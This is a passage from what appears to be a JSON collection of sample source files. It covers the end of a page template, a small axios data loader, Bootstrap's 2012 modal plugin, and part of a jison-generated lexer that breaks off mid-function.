getCssFiles())\n\t\t<link rel=\"stylesheet\" href=\"${assetHelper().path(\"css/\" + file + \".css\")}\" />\n\t@endfor\n\n\t@for(var file : getBundleFiles())\n\t\t@for(var resource : assetHelper().bundle(file).getAssets().getCss())\n\t\t\t<link rel=\"stylesheet\" href=\"${assetHelper().bundlePath(resource)}\"/>\n\t\t@endfor\n\t@endfor\n\n\t@for(var style : getInlineStyles())\n\t\t${style}\n\t@endfor\n</head>\n<body>\n<script>\n\twindow.FTC_ENV = ${jsonEncode(ftcEnv())};\n</script>\n@for(var resource : assetHelper().bundle(\"sentry\").getAssets().getJs())\n\t<script src=\"${assetHelper().bundlePath(resource)}\" type=\"module\"></script>\n@endfor\n<script src=\"${assetHelper().path(\"translations/\" + getLang() + \".js\")}\"></script>\n<script src=\"${assetHelper().path(\"js/jquery-1.12.4.js\")}\"></script>\n<script src=\"${assetHelper().path(\"js/jquery-ui.js\")}\"></script>\n<script src=\"${assetHelper().path(\"bootstrap/js/bootstrap.bundle.min.js\")}\"></script>\n<script src=\"${assetHelper().path(\"bootstrap/js/bootstrap-table.min.js\")}\"></script>\n<script src=\"${assetHelper().path(\"js/general.js\")}\"></script>\n@for(var resource : assetHelper().bundle(\"globals\").getAssets().getJs())\n\t<script src=\"${assetHelper().bundlePath(resource)}\" type=\"module\"></script>\n@endfor\n\n$unsafe{renderedBody}\n\n@for(var file : getScriptFiles())\n\t<script src=\"${assetHelper().path(\"js/\" + file + \".js\")}\"></script>\n@endfor\n@for(var file : getDeferScriptFiles())\n<%-- Defer to ensure it runs *after* globals have loaded --%>\n\t<script src=\"${assetHelper().path(\"js/\" + file + \".js\")}\" defer></script>\n@endfor\n\n@for(var script : getInlineScripts())\n\t${script}\n@endfor\n\n@for(var file : getBundleFiles())\n\t@for(var resource : assetHelper().bundle(file).getAssets().getJs())\n\t\t<script src=\"${assetHelper().bundlePath(resource)}\" type=\"module\"></script>\n\t@endfor\n@endfor\n</body>\n</html>\n"
  },
  {
    "path": "samples/JavaScript/axios.es",
    "content": "import axios from \"axios\";\n\nexport default {\n\tasync getIndex(prefix) {\n\t\tconst {data} = await axios.get((prefix || \"\") + \"/index.json\");\n\t\treturn data;\n\t},\n\t\n\tasync getContent(path, prefix) {\n\t\tconst {data} = await axios.get((prefix || \"\") + \"/\" + path + \".json\");\n\t\treturn data;\n\t}\n}\n"
  },
  {
    "path": "samples/JavaScript/bootstrap-modal.js",
    "content": "/* =========================================================\n * bootstrap-modal.js v2.0.4\n * http://twitter.github.com/bootstrap/javascript.html#modals\n * =========================================================\n * Copyright 2012 Twitter, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n * ========================================================= */\n\n\n!function ($) {\n\n  \"use strict\"; // jshint ;_;\n\n\n /* MODAL CLASS DEFINITION\n  * ====================== */\n\n  var Modal = function (content, options) {\n    this.options = options\n    this.$element = $(content)\n      .delegate('[data-dismiss=\"modal\"]', 'click.dismiss.modal', $.proxy(this.hide, this))\n  }\n\n  Modal.prototype = {\n\n      constructor: Modal\n\n    , toggle: function () {\n        return this[!this.isShown ? 'show' : 'hide']()\n      }\n\n    , show: function () {\n        var that = this\n          , e = $.Event('show')\n\n        this.$element.trigger(e)\n\n        if (this.isShown || e.isDefaultPrevented()) return\n\n        $('body').addClass('modal-open')\n\n        this.isShown = true\n\n        escape.call(this)\n        backdrop.call(this, function () {\n          var transition = $.support.transition && that.$element.hasClass('fade')\n\n          if (!that.$element.parent().length) {\n            that.$element.appendTo(document.body) //don't move modals dom position\n          }\n\n          that.$element\n            .show()\n\n          if (transition) {\n            that.$element[0].offsetWidth // force reflow\n          }\n\n          that.$element.addClass('in')\n\n          transition ?\n            that.$element.one($.support.transition.end, function () { that.$element.trigger('shown') }) :\n            that.$element.trigger('shown')\n\n        })\n      }\n\n    , hide: function (e) {\n        e && e.preventDefault()\n\n        var that = this\n\n        e = $.Event('hide')\n\n        this.$element.trigger(e)\n\n        if (!this.isShown || e.isDefaultPrevented()) return\n\n        this.isShown = false\n\n        $('body').removeClass('modal-open')\n\n        escape.call(this)\n\n        this.$element.removeClass('in')\n\n        $.support.transition && this.$element.hasClass('fade') ?\n          hideWithTransition.call(this) :\n          hideModal.call(this)\n      }\n\n  }\n\n\n /* MODAL PRIVATE METHODS\n  * ===================== */\n\n  function hideWithTransition() {\n    var that = this\n      , timeout = setTimeout(function () {\n          that.$element.off($.support.transition.end)\n          hideModal.call(that)\n        }, 500)\n\n    this.$element.one($.support.transition.end, function () {\n      clearTimeout(timeout)\n      hideModal.call(that)\n    })\n  }\n\n  function hideModal(that) {\n    this.$element\n      .hide()\n      .trigger('hidden')\n\n    backdrop.call(this)\n  }\n\n  function backdrop(callback) {\n    var that = this\n      , animate = this.$element.hasClass('fade') ? 'fade' : ''\n\n    if (this.isShown && this.options.backdrop) {\n      var doAnimate = $.support.transition && animate\n\n      this.$backdrop = $('<div class=\"modal-backdrop ' + animate + '\" />')\n        .appendTo(document.body)\n\n      if (this.options.backdrop != 'static') {\n        this.$backdrop.click($.proxy(this.hide, this))\n      }\n\n      if (doAnimate) this.$backdrop[0].offsetWidth // force reflow\n\n      this.$backdrop.addClass('in')\n\n      doAnimate ?\n        this.$backdrop.one($.support.transition.end, callback) :\n        callback()\n\n    } else if (!this.isShown && this.$backdrop) {\n      this.$backdrop.removeClass('in')\n\n      $.support.transition && this.$element.hasClass('fade')?\n        this.$backdrop.one($.support.transition.end, $.proxy(removeBackdrop, this)) :\n        removeBackdrop.call(this)\n\n    } else if (callback) {\n      callback()\n    }\n  }\n\n  function removeBackdrop() {\n    this.$backdrop.remove()\n    this.$backdrop = null\n  }\n\n  function escape() {\n    var that = this\n    if (this.isShown && this.options.keyboard) {\n      $(document).on('keyup.dismiss.modal', function ( e ) {\n        e.which == 27 && that.hide()\n      })\n    } else if (!this.isShown) {\n      $(document).off('keyup.dismiss.modal')\n    }\n  }\n\n\n /* MODAL PLUGIN DEFINITION\n  * ======================= */\n\n  $.fn.modal = function (option) {\n    return this.each(function () {\n      var $this = $(this)\n        , data = $this.data('modal')\n        , options = $.extend({}, $.fn.modal.defaults, $this.data(), typeof option == 'object' && option)\n      if (!data) $this.data('modal', (data = new Modal(this, options)))\n      if (typeof option == 'string') data[option]()\n      else if (options.show) data.show()\n    })\n  }\n\n  $.fn.modal.defaults = {\n      backdrop: true\n    , keyboard: true\n    , show: true\n  }\n\n  $.fn.modal.Constructor = Modal\n\n\n /* MODAL DATA-API\n  * ============== */\n\n  $(function () {\n    $('body').on('click.modal.data-api', '[data-toggle=\"modal\"]', function ( e ) {\n      var $this = $(this), href\n        , $target = $($this.attr('data-target') || (href = $this.attr('href')) && href.replace(/.*(?=#[^\\s]+$)/, '')) //strip for ie7\n        , option = $target.data('modal') ? 'toggle' : $.extend({}, $target.data(), $this.data())\n\n      e.preventDefault()\n      $target.modal(option)\n    })\n  })\n\n}(window.jQuery);"
  },
  {
    "path": "samples/JavaScript/ccalc-lex.js",
    "content": "/* generated by jison-lex 0.3.4-159 */\nvar ccalcLex = (function () {\n// See also:\n// http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript/#35881508\n// but we keep the prototype.constructor and prototype.name assignment lines too for compatibility\n// with userland code which might access the derived class in a 'classic' way.\nfunction JisonLexerError(msg, hash) {\n    Object.defineProperty(this, 'name', {\n        enumerable: false,\n        writable: false,\n        value: 'JisonLexerError'\n    });\n\n    if (msg == null) msg = '???';\n\n    Object.defineProperty(this, 'message', {\n        enumerable: false,\n        writable: true,\n        value: msg\n    });\n\n    this.hash = hash;\n\n    var stacktrace;\n    if (hash && hash.exception instanceof Error) {\n        var ex2 = hash.exception;\n        this.message = ex2.message || msg;\n        stacktrace = ex2.stack;\n    }\n    if (!stacktrace) {\n        if (Error.hasOwnProperty('captureStackTrace')) { // V8\n            Error.captureStackTrace(this, this.constructor);\n        } else {\n            stacktrace = (new Error(msg)).stack;\n        }\n    }\n    if (stacktrace) {\n        Object.defineProperty(this, 'stack', {\n            enumerable: false,\n            writable: false,\n            value: stacktrace\n        });\n    }\n}\n\nif (typeof Object.setPrototypeOf === 'function') {\n    Object.setPrototypeOf(JisonLexerError.prototype, Error.prototype);\n} else {\n    JisonLexerError.prototype = Object.create(Error.prototype);\n}\nJisonLexerError.prototype.constructor = JisonLexerError;\nJisonLexerError.prototype.name = 'JisonLexerError';\n\n\nvar lexer = {\n    EOF: 1,\n    ERROR: 2,\n\n    // JisonLexerError: JisonLexerError,        // <-- injected by the code generator\n\n    // options: {},                             // <-- injected by the code generator\n\n    // yy: ...,                                 // <-- injected by setInput()\n\n    __currentRuleSet__: null,                   // <-- internal rule set cache for the current lexer state\n\n    __error_infos: [],                          // INTERNAL USE ONLY: the set of lexErrorInfo objects created since the last cleanup\n\n    __decompressed: false,                      // INTERNAL USE ONLY: mark whether the lexer instance has been 'unfolded' completely and is now ready for use\n\n    done: false,                                // INTERNAL USE ONLY\n    _backtrack: false,                          // INTERNAL USE ONLY\n    _input: '',                                 // INTERNAL USE ONLY\n    _more: false,                               // INTERNAL USE ONLY\n    _signaled_error_token: false,               // INTERNAL USE ONLY\n\n    conditionStack: [],                         // INTERNAL USE ONLY; managed via `pushState()`, `popState()`, `topState()` and `stateStackSize()`\n\n    match: '',                                  // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks input which has been matched so far for the lexer token under construction. `match` is identical to `yytext` except that this one still contains the matched input string after `lexer.performAction()` has been invoked, where userland code MAY have changed/replaced the `yytext` value entirely!\n    matched: '',                                // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks entire input which has been matched so far\n    matches: false,                             // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks RE match result for last (successful) match attempt\n    yytext: '',                                 // ADVANCED USE ONLY: tracks input which has been matched so far for the lexer token under construction; this value is transferred to the parser as the 'token value' when the parser consumes the lexer token produced through a call to the `lex()` API.\n    offset: 0,                                  // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks the 'cursor position' in the input string, i.e. the number of characters matched so far\n    yyleng: 0,                                  // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: length of matched input for the token under construction (`yytext`)\n    yylineno: 0,                                // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: 'line number' at which the token under construction is located\n    yylloc: null,                               // READ-ONLY EXTERNAL ACCESS - ADVANCED USE ONLY: tracks location info (lines + columns) for the token under construction\n\n    // INTERNAL USE: construct a suitable error info hash object instance for `parseError`.\n    constructLexErrorInfo: function lexer_constructLexErrorInfo(msg, recoverable) {\n        var pei = {\n            errStr: msg,\n            recoverable: !!recoverable,\n            text: this.match,           // This one MAY be empty; userland code should use the `upcomingInput` API to obtain more text which follows the 'lexer cursor position'...\n            token: null,\n            line: this.yylineno,\n            loc: this.yylloc,\n            yy: this.yy,\n            lexer: this,\n\n            // and make sure the error info doesn't stay due to potential\n            // ref cycle via userland code manipulations.\n            // These would otherwise all be memory leak opportunities!\n            //\n            // Note that only array and object references are nuked as those\n            // constitute the set of elements which can produce a cyclic ref.\n            // The rest of the members is kept intact as they are harmless.\n            destroy: function destructLexErrorInfo() {\n                // remove cyclic references added to error info:\n                // info.yy = null;\n                // info.lexer = null;\n                // ...\n                var rec = !!this.recoverable;\n                for (var key in this) {\n                    if (this.hasOwnProperty(key) && typeof key === 'object') {\n                        this[key] = undefined;\n                    }\n                }\n                this.recoverable = rec;\n            }\n        };\n        // track this instance so we can `destroy()` it once we deem it superfluous and ready for garbage collection!\n        this.__error_infos.push(pei);\n        return pei;\n    },\n\n    parseError: function lexer_parseError(str, hash) {\n        if (this.yy.parser && typeof this.yy.parser.parseError === 'function') {\n            return this.yy.parser.parseError(str, hash) || this.ERROR;\n        } else if (typeof this.yy.parseError === 'function') {\n            return this.yy.parseError.call(this, str, hash) || this.ERROR;\n        } else {\n            throw new this.JisonLexerError(str);\n        }\n    },\n\n    // final cleanup function for when we have completed lexing the input; \n    // make it an API so that external code can use this one once userland\n    // code has decided it's time to destroy any lingering lexer error\n    // hash object instances and the like: this function helps to clean\n    // up these constructs, which *may* carry cyclic references which would\n    // otherwise prevent the instances from being properly and timely\n    // garbage-collected, i.e. this function helps prevent memory leaks!\n    cleanupAfterLex: function lexer_cleanupAfterLex(do_not_nuke_errorinfos) {\n        var rv;\n\n        // prevent lingering circular references from causing memory leaks:\n        this.setInput('', {});\n\n        // nuke the error hash info instances created during this run.\n        // Userland code must COPY any data/references\n        // in the error hash instance(s) it is more permanently interested in.\n        if (!do_not_nuke_errorinfos) {\n            for (var i = this.__error_infos.length - 1; i >= 0; i--) {\n                var el = this.__error_infos[i];\n                if (el && typeof el.destroy === 'function') {\n                    el.destroy();\n                }\n            }\n            this.__error_infos.length = 0;\n        }\n\n        return this;\n    },\n\n    // clear the lexer token context; intended for internal use only\n    clear: function lexer_clear() {\n        this.yytext = '';\n        this.yyleng = 0;\n        this.match = '';\n        this.matches = false;\n        this._more = false;\n        this._backtrack = false;\n    },\n\n    // resets the lexer, sets new input\n    setInput: function lexer_setInput(input, yy) {\n        this.yy = yy || this.yy || {};\n\n        // also check if we've fully initialized the lexer instance,\n        // including expansion work to be done to go from a loaded\n        // lexer to a usable lexer:\n        if (!this.__decompressed) {\n          // step 1: decompress the regex list:\n          var rules = this.rules;\n          for (var i = 0, len = rules.length; i < len; i++) {\n            var rule_re = rules[i];\n\n            // compression: is the RE an xref to another RE slot in the rules[] table?\n            if (typeof rule_re === 'number') {\n              rules[i] = rules[rule_re];\n            }\n          }\n\n          // step 2: unfold the conditions[] set to make these ready for use:\n          var conditions = this.conditions;\n          for (var k in conditions) {\n            var spec = conditions[k];\n\n            var rule_ids = spec.rules;\n\n            var len = rule_ids.length;\n            var rule_regexes = new Array(len + 1);            // slot 0 is unused; we use a 1-based index approach here to keep the hottest code in `lexer_next()` fast and simple!\n            var rule_new_ids = new Array(len + 1);\n\n            if (this.rules_prefix1) {\n                var rule_prefixes = new Array(65536);\n                var first_catch_all_index = 0;\n\n                for (var i = 0; i < len; i++) {\n                  var idx = rule_ids[i];\n                  var rule_re = rules[idx];\n                  rule_regexes[i + 1] = rule_re;\n                  rule_new_ids[i + 1] = idx;\n\n                  var prefix = this.rules_prefix1[idx];\n                  // compression: is the PREFIX-STRING an xref to another PREFIX-STRING slot in the rules_prefix1[] table?\n                  if (typeof prefix === 'number') {\n                    prefix = this.rules_prefix1[prefix];\n                  }\n                  // init the prefix lookup table: first come, first serve...\n                  if (!prefix) {\n                    if (!first_catch_all_index) {\n                      first_catch_all_index = i + 1;\n                    }\n                  } else {\n                    for (var j = 0, pfxlen = prefix.length; j < pfxlen; j++) {\n                      var pfxch = prefix.charCodeAt(j);\n                      // first come, first serve:\n                      if (!rule_prefixes[pfxch]) {\n                        rule_prefixes[pfxch] = i + 1;\n                      }  \n                    }\n                  }\n                }\n\n                // if no catch-all prefix has been encountered yet, it means all\n                // rules have limited prefix sets and it MAY be that particular\n                // input characters won't be recognized by any rule in this \n                // condition state.\n                // \n                // To speed up their discovery at run-time while keeping the\n                // remainder of the lexer kernel code very simple (and fast),\n                // we point these to an 'illegal' rule set index *beyond*\n                // the end of the rule set.\n                if (!first_catch_all_index) {\n                  first_catch_all_index = len + 1;\n                }\n\n                for (var i = 0; i < 65536; i++) {\n                  if (!rule_prefixes[i]) {\n                    rule_prefixes[i] = first_catch_all_index; \n                  }\n                }\n\n                spec.__dispatch_lut = rule_prefixes;\n            } else {\n                for (var i = 0; i < len; i++) {\n                  var idx = rule_ids[i];\n                  var rule_re = rules[idx];\n                  rule_regexes[i + 1] = rule_re;\n                  rule_new_ids[i + 1] = idx;\n                }\n            }\n\n            spec.rules = rule_new_ids;\n            spec.__rule_regexes = rule_regexes;\n            spec.__rule_count = len;\n          }\n\n          this.__decompressed = true;\n        }\n\n        this._input = input || '';\n        this.clear();\n        this._signaled_error_token = false;\n        this.done = false;\n        this.yylineno = 0;\n        this.matched = '';\n        this.conditionStack = ['INITIAL'];\n        this.__currentRuleSet__ = null;\n        this.yylloc = {\n            first_line: 1,\n            first_column: 0,\n            last_line: 1,\n            last_column: 0\n        };\n        if (this.options.ranges) {\n            this.yylloc.range = [0, 0];\n        }\n        this.offset = 0;\n        return this;\n    },\n\n    // consumes and returns one char from the input\n    input: function lexer_input() {\n        if (!this._input) {\n            this.done = true;\n            return null;\n        }\n        var ch = this._input[0];\n        this.yytext += ch;\n        this.yyleng++;\n        this.offset++;\n        this.match += ch;\n        this.matched += ch;\n        // Count the linenumber up when we hit the LF (or a stand-alone CR).\n        // On CRLF, the linenumber is incremented when you fetch the CR or the CRLF combo\n        // and we advance immediately past the LF as well, returning both together as if\n        // it was all a single 'character' only.\n        var slice_len = 1;\n        var lines = false;\n        if (ch === '\\n') {\n            lines = true;\n        } else if (ch === '\\r') {\n            lines = true;\n            var ch2 = this._input[1];\n            if (ch2 === '\\n') {\n                slice_len++;\n                ch += ch2;\n                this.yytext += ch2;\n                this.yyleng++;\n                this.offset++;\n                this.match += ch2;\n                this.matched += ch2;\n                if (this.options.ranges) {\n                    this.yylloc.range[1]++;\n                }\n            }\n        }\n        if (lines) {\n            this.yylineno++;\n            this.yylloc.last_line++;\n        } else {\n            this.yylloc.last_column++;\n        }\n        if (this.options.ranges) {\n            this.yylloc.range[1]++;\n        }\n\n        this._input = this._input.slice(slice_len);\n        return ch;\n    },\n\n    // unshifts one char (or a string) into the input\n    unput: function lexer_unput(ch) {\n        var len = ch.length;\n        var lines = ch.split(/(?:\\r\\n?|\\n)/g);\n\n        this._input = ch + this._input;\n        this.yytext = this.yytext.substr(0, this.yytext.length - len);\n        //this.yyleng -= len;\n        this.offset -= len;\n        var oldLines = this.match.split(/(?:\\r\\n?|\\n)/g);\n        this.match = this.match.substr(0, this.match.length - len);\n        this.matched = this.matched.substr(0, this.matched.length - len);\n\n        if (lines.length - 1) {\n            this.yylineno -= lines.length - 1;\n        }\n\n        this.yylloc.last_line = this.yylineno + 1;\n        this.yylloc.last_column = (lines ?\n                (lines.length === oldLines.length ? this.yylloc.first_column : 0)\n                + oldLines[oldLines.length - lines.length].length - lines[0].length :\n                this.yylloc.first_column - len);\n\n        if (this.options.ranges) {\n            this.yylloc.range[1] = this.yylloc.range[0] + this.yyleng - len;\n        }\n        this.yyleng = this.yytext.length;\n        this.done = false;\n        return this;\n    },\n\n    // When called from action, caches matched text and appends it on next action\n    more: function lexer_more() {\n        this._more = true;\n        return this;\n    },\n\n    // When called from action, signals the lexer that this rule fails to match the input, so the next matching rule (regex) should be tested instead.\n    reject: function lexer_reject() {\n        if (this.options.backtrack_lexer) {\n            this._backtrack = true;\n        } else {\n            // when the parseError() call returns, we MUST ensure that the error is registered.\n            // We accomplish this by signaling an 'error' token to be produced for the current\n            // .lex() run.\n            var p = this.constructLexErrorInfo('Lexical error on line ' + (this.yylineno + 1) + '. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\\n' + this.showPosition(), false);\n            this._signaled_error_token = (this.parseError(p.errStr, p) || this.ERROR);\n        }\n        return this;\n    },\n\n    // retain first n characters of the match\n    less: function lexer_less(n) {\n        return this.unput(this.match.slice(n));\n    },\n\n    // return (part of the) already matched input, i.e. for error messages.\n    // Limit the returned string length to `maxSize` (default: 20).\n    // Limit the returned string to the `maxLines` number of lines of input (default: 1).\n    // Negative limit values equal *unlimited*.\n    pastInput: function lexer_pastInput(maxSize, maxLines) {\n        var past = this.matched.substring(0, this.matched.length - this.match.length);\n        if (maxSize < 0)\n            maxSize = past.length;\n        else if (!maxSize)\n            maxSize = 20;\n        if (maxLines < 0)\n            maxLines = past.length;         // can't ever have more input lines than this!\n        else if (!maxLines)\n            maxLines = 1;\n        // `substr` anticipation: treat \\r\\n as a single character and take a little\n        // more than necessary so that we can still properly check against maxSize\n        // after we've transformed and limited the newLines in here:\n        past = past.substr(-maxSize * 2 - 2);\n        // now that we have a significantly reduced string to process, transform the newlines\n        // and chop them, then limit them:\n        var a = past.replace(/\\r\\n|\\r/g, '\\n').split('\\n');\n        a = a.slice(-maxLines);\n        past = a.join('\\n');\n        // When, after limiting to maxLines, we still have too much to return, \n        // do add an ellipsis prefix...\n        if (past.length > maxSize) {\n            past = '...' + past.substr(-maxSize);\n        }\n        return past;\n    },\n\n    // return (part of the) upcoming input, i.e. for error messages.\n    // Limit the returned string length to `maxSize` (default: 20).\n    // Limit the returned string to the `maxLines` number of lines of input (default: 1).\n    // Negative limit values equal *unlimited*.\n    upcomingInput: function lexer_upcomingInput(maxSize, maxLines) {\n        var next = this.match;\n        if (maxSize < 0)\n            maxSize = next.length + this._input.length;\n        else if (!maxSize)\n            maxSize = 20;\n        if (maxLines < 0)\n            maxLines = maxSize;         // can't ever have more input lines than this!\n        else if (!maxLines)\n            maxLines = 1;\n        // `substring` anticipation: treat \\r\\n as a single character and take a little\n        // more than necessary so that we can still properly check against maxSize\n        // after we've transformed and limited the newLines in here:\n        if (next.length < maxSize * 2 + 2) {\n            next += this._input.substring(0, maxSize * 2 + 2);  // substring is faster on Chrome/V8\n        }\n        // now that we have a significantly reduced string to process, transform the newlines\n        // and chop them, then limit them:\n        var a = next.replace(/\\r\\n|\\r/g, '\\n').split('\\n');\n        a = a.slice(0, maxLines);\n        next = a.join('\\n');\n        // When, after limiting to maxLines, we still have too much to return, \n        // do add an ellipsis postfix...\n        if (next.length > maxSize) {\n            next = next.substring(0, maxSize) + '...';\n        }\n        return next;\n    },\n\n    // return a string which displays the character position where the lexing error occurred, i.e. for error messages\n    showPosition: function lexer_showPosition(maxPrefix, maxPostfix) {\n        var pre = this.pastInput(maxPrefix).replace(/\\s/g, ' ');\n        var c = new Array(pre.length + 1).join('-');\n        return pre + this.upcomingInput(maxPostfix).replace(/\\s/g, ' ') + '\\n' + c + '^';\n    },\n\n    // helper function, used to produce a human readable description as a string, given\n    // the input `yylloc` location object. \n    // Set `display_range_too` to TRUE to include the string character index position(s)\n    // in the description if the `yylloc.range` is available. \n    describeYYLLOC: function lexer_describe_yylloc(yylloc, display_range_too) {\n        var l1 = yylloc.first_line;\n        var l2 = yylloc.last_line;\n        var o1 = yylloc.first_column;\n        var o2 = yylloc.last_column - 1;\n        var dl = l2 - l1;\n        var d_o = (dl === 0 ? o2 - o1 : 1000);\n        var rv;\n        if (dl === 0) {\n            rv = 'line ' + l1 + ', ';\n            if (d_o === 0) {\n                rv += 'column ' + o1;\n            } else {\n                rv += 'columns ' + o1 + ' .. ' + o2;\n            }\n        } else {\n            rv = 'lines ' + l1 + '(column ' + o1 + ') .. ' + l2 + '(column ' + o2 + ')';\n        }\n        if (yylloc.range && display_range_too) {\n            var r1 = yylloc.range[0];\n            var r2 = yylloc.range[1] - 1;\n            if (r2 === r1) {\n                rv += ' {String Offset: ' + r1 + '}';\n            } else {\n                rv += ' {String Offset range: ' + r1 + ' .. ' + r2 + '}';\n            }\n        }\n        return rv;\n        // return JSON.stringify(yylloc);\n    },\n\n    // test the lexed token: return FALSE when not a match, otherwise return token.\n    //\n    // `match` is supposed to be an array coming out of a regex match, i.e. `match[0]`\n    // contains the actually matched text string.\n    //\n    // Also move the input cursor forward and update the match collectors:\n    // - yytext\n    // - yyleng\n    // - match\n    // - matches\n    // - yylloc\n    // - offset\n    test_match: function lexer_test_match(match, indexed_rule) {\n        var token,\n            lines,\n            backup,\n            match_str;\n\n        if (this.options.backtrack_lexer) {\n            // save context\n            backup = {\n                yylineno: this.yylineno,\n                yylloc: {\n                    first_line: this.yylloc.first_line,\n                    last_line: this.last_line,\n                    first_column: this.yylloc.first_column,\n                    last_column: this.yylloc.last_column\n                },\n                yytext: this.yytext,\n                match: this.match,\n                matches: this.matches,\n                matched: this.matched,\n                yyleng: this.yyleng,\n                offset: this.offset,\n                _more: this._more,\n                _input: this._input,\n                yy: this.yy,\n                conditionStack: this.conditionStack.slice(0),\n                done: this.done\n            };\n            if (this.options.ranges) {\n                backup.yylloc.range = this.yylloc.range.slice(0);\n            }\n        }\n\n        match_str = match[0];\n        lines = match_str.match(/(?:\\r\\n?|\\n).*/g);\n        if (lines) {\n            this.yylineno += lines.length;\n        }\n        this.yylloc = {\n            first_line: this.yylloc.last_line,\n            last_line: this.yylineno + 1,\n            first_column: this.yylloc.last_column,\n            last_column: lines ?\n                         lines[lines.length - 1].length - lines[lines.length - 1].match(/\\r?\\n?/)[0].length :\n                         this.yylloc.last_column + match_str.length\n        };\n        this.yytext += match_str;\n        this.match += match_str;\n        this.matches = match;\n        this.yyleng = this.yytext.length;\n        if (this.options.ranges) {\n            this.yylloc.range = [this.offset, this.offset + this.yyleng];\n        }\n        // previous lex rules MAY have invoked the `more()` API rather than producing a token:\n        // those rules will already have moved this `offset` forward matching their match lengths,\n        // hence we must only add our own match length now:\n        this.offset += match_str.length;\n        this._more = false;\n        this._backtrack = false;\n        this._input = this._input.slice(match_str.length);\n        this.matched += match_str;\n\n        // calling this method: \n        //\n        //   function lexer__performAction(yy, yy_, $avoiding_name_collisions, YY_START) {...}\n        token = this.performAction.call(this, this.yy, this, indexed_rule, this.conditionStack[this.conditionStack.length - 1] /* = YY_START */);\n        // otherwise, when the action codes are all simple return token statements:\n        //token = this.simpleCaseActionClusters[indexed_rule];\n\n        if (this.done && this._input) {\n            this.done = false;\n        }\n        if (token) {\n            return token;\n        } else if (this._backtrack) {\n            // recover context\n            for (var k in backup) {\n                this[k] = backup[k];\n            }\n            this.__currentRuleSet__ = null;\n            return false; // rule action called reject() implying the next rule should be tested instead.\n        } else if (this._signaled_error_token) {\n            // produce one 'error' token as .parseError() in reject() did not guarantee a failure signal by throwing an exception!\n            token = this._signaled_error_token;\n            this._signaled_error_token = false;\n            return token;\n        }\n        return false;\n    },\n\n    // return next match in input\n    next: function lexer_next() {\n        if (this.done) {\n            this.clear();\n            return this.EOF;\n        }\n        if (!this._input) {\n            this.done = true;\n        }\n\n        var token,\n            match,\n            tempMatch,\n            index;\n        if (!this._more) {\n            this.clear();\n        }\n        var spec = this.__currentRuleSet__;\n        if (!spec) {\n            // Update the ruleset cache as we apparently encountered a state change or just started lexing.\n            // The cache is set up for fast lookup -- we assume a lexer will switch states much less often than it will\n            // invoke the `lex()` token-producing API and related APIs, hence caching the set for direct access helps\n            // speed up those activities a tiny bit.\n            spec = this.__currentRuleSet__ = this._currentRules();\n        }\n\n        var rule_ids = spec.rules;\n//        var dispatch = spec.__dispatch_lut;\n        var regexes = spec.__rule_regexes;\n        var len = spec.__rule_count;\n\n//        var c0 = this._input[0];\n\n        // Note: the arrays are 1-based, while `len` itself is a valid index, \n        // hence the non-standard less-or-equal check in the next loop condition!\n        // \n        // `dispatch` is a lookup table which lists the *first* rule which matches the 1-char *prefix* of the rule-to-match.\n        // By using that array as a jumpstart, we can cut down on the otherwise O(n*m) behaviour of this lexer, down to\n        // O(n) ideally, where:\n        // \n        // - N is the number of input particles -- which is not precisely characters \n        //   as we progress on a per-regex-match basis rather than on a per-character basis\n        //   \n        // - M is the number of rules (regexes) to test in the active condition state.\n        //  \n        for (var i = 1 /* (dispatch[c0] || 1) */ ; i <= len; i++) {\n            tempMatch = this._input.match(regexes[i]);\n            if (tempMatch && (!match || tempMatch[0].length > match[0].length)) {\n                match = tempMatch;\n                index = i;\n                if (this.options.backtrack_lexer) {\n                    token = this.test_match(tempMatch, rule_ids[i]);\n                    if (token !== false) {\n                        return token;\n                    } else if (this._backtrack) {\n                        match = undefined;\n                        continue; // rule action called reject() implying a rule MISmatch.\n                    } else {\n                        // else: this is a lexer rule which consumes input without producing a token (e.g. whitespace)\n                        return false;\n                    }\n                } else if (!this.options.flex) {\n                    break;\n                }\n            }\n        }\n        if (match) {\n            token = this.test_match(match, rule_ids[index]);\n            if (token !== false) {\n                return token;\n            }\n            // else: this is a lexer rule which consumes input without producing a token (e.g. whitespace)\n            return false;\n        }\n        if (this._input === '') {\n            this.done = true;\n            return this.EOF;\n        } else {\n            var p = this.constructLexErrorInfo('Lexical error on line ' + (this.yylineno + 1) + '. Unrecognized text.\\n' + this.showPosition(), this.options.lexer_errors_are_recoverable);\n            token = (this.parseError(p.errStr, p) || this.ERROR);\n            if (token === this.ERROR) {\n                // we can try to recover from a lexer error that parseError() did not 'recover' for us, by moving forward at least one character at a time:\n                if (!this.match.length) {\n                    this.input();\n                }\n            }\n            return token;\n        }\n    },\n\n    // return next match that has a token\n    lex: function lexer_lex() {\n        var r;\n        // allow the PRE/POST handlers set/modify the return token for maximum flexibility of the generated lexer:\n        if (typeof this.options.pre_lex === 'function') {\n            r = this.options.pre_lex.call(this);\n        }\n        while (!r) {\n            r = this.next();\n        }\n        if (typeof this.options.post_lex === 'function') {\n            // (also account for a userdef function which does not return any value: keep the token as is)\n            r = this.options.post_lex.call(this, r) || r;\n        }\n        return r;\n    },\n\n    // backwards compatible alias for `pushState()`;\n    // the latter is symmetrical with `popState()` and we advise to use\n    // those APIs in any modern lexer code, rather than `begin()`.\n    begin: function lexer_begin(condition) {\n        return this.pushState(condition);\n    },\n\n    // activates a new lexer condition state (pushes the new lexer condition state onto the condition stack)\n    pushState: function lexer_pushState(condition) {\n        this.conditionStack.push(condition);\n        this.__currentRuleSet__ = null;\n        return this;\n    },\n\n    // pop the previously active lexer condition state off the condition stack\n    popState: function lexer_popState() {\n        var n = this.conditionStack.length - 1;\n        if 